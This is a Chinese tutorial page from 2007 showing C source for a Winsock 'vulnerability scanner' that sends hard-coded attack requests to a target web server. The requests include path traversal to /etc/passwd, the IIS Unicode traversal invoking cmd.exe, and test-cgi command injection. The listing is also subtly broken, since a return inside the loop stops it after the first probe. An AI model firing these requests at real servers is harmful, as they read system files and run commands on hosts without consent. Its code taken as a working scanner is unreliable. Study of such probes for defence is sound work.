分享
 
 
 

编写漏洞扫描器

王朝厨房·作者佚名  2007-01-04
窄屏简体版  字體: |||超大  

一、漏洞扫描器基本原理:

编写漏洞扫描器探查远程服务器上可能存在的具有安全隐患的文件是否存在,它的socket建立过程和上面的端口扫描器是相同的,所不同的是漏洞扫描器通常使用80端口,然后对这个端口发送一个GET文件的请求,服务器接收到请求会返回文件内容,如果文件不存在则返回一个错误提示,通过接收返回内容可以判断文件是否存在。发送和接收数据需要使用函数send()和recv(),另外对流中存在的字符串进行判断需要使用函数strstr(),这除了需要具备socket函数库的知识以外,还需要一些有关string函数库的知识。

二、简单的漏洞扫描源代码:

/********************************************/

/* 端口扫描器 源代码 */

/* CgiScanner.cpp */

/********************************************/

#include <stdio.h>

#include <string.h>

#include <winsock.h>

int main(int argc,char *argv[])

{

if(argc!=2){

printf("Useage : scan [IP address]\n");

return(1);

}

struct sockaddr_in blah;

struct hostent *he;

WSADATA wsaData;

int i;

WORD wVersionRequested;

SOCKET sock;

char buff[1024];

char *ex[10];

ex[1]="GET /../../../../etc/passwd HTTP/1.0\n\n";

ex[2]="GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\n\n";

ex[3]="GET /A.ida/%c1%00.ida HTTP/1.0\n\n";

ex[4]="GET /cgi-bin/pfdispaly.cgi?/../../../../etc/motd HTTP/1.0\n\n";

ex[5]="GET /cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd HTTP/1.0\n\n";

ex[6]="GET /cgi-bin/test-cgi?* HTTP/1.0\n\n";

char *fmsg="HTTP/1.1 200 OK";

wVersionRequested = MAKEWORD( 1, 1 );

if (WSAStartup(wVersionRequested , &wsaData)){

printf("Winsock Initialization failed.\n");

exit(1);

}

if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){

printf("Can not create socket.\n");

exit(1);

}

sock = socket(AF_INET,SOCK_STREAM,0);

blah.sin_family = AF_INET;

blah.sin_port = htons(80);

blah.sin_addr.s_addr= inet_addr(argv[1]);

if ((he=gethostbyname(argv[1]))!=NULL){

memcpy((char *)&blah.sin_addr.s_addr,he->h_addr,he->h_length);

}

else{

if((blah.sin_addr.s_addr=inet_addr(argv[1]))==-1){

WSACleanup();

exit(1);

}

}

for (i=1 ; i<7; i++) {

if (connect(sock,(struct sockaddr*)&blah,sizeof(blah))==0){

send(sock,ex[i],strlen(ex[i]),0);

recv(sock,buff,sizeof(buff),0);

if(strstr(buff,fmsg)!=NULL){

printf("\nFound :%s\n", ex[i]);

}

}

closesocket(sock);

WSACleanup();

return(1);

}

}

这段代码可以检测六个漏洞,读者可以根据自己的需要增加漏洞扫描的数量。程序实现的很简洁,概括起来这段程序完成了一下四项工作:

1、连接目标主机SERVER;

2、向目标主机发送GET请求;

3、接收目标返回数据;

4、根据返回数据判断文件是否存在。

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有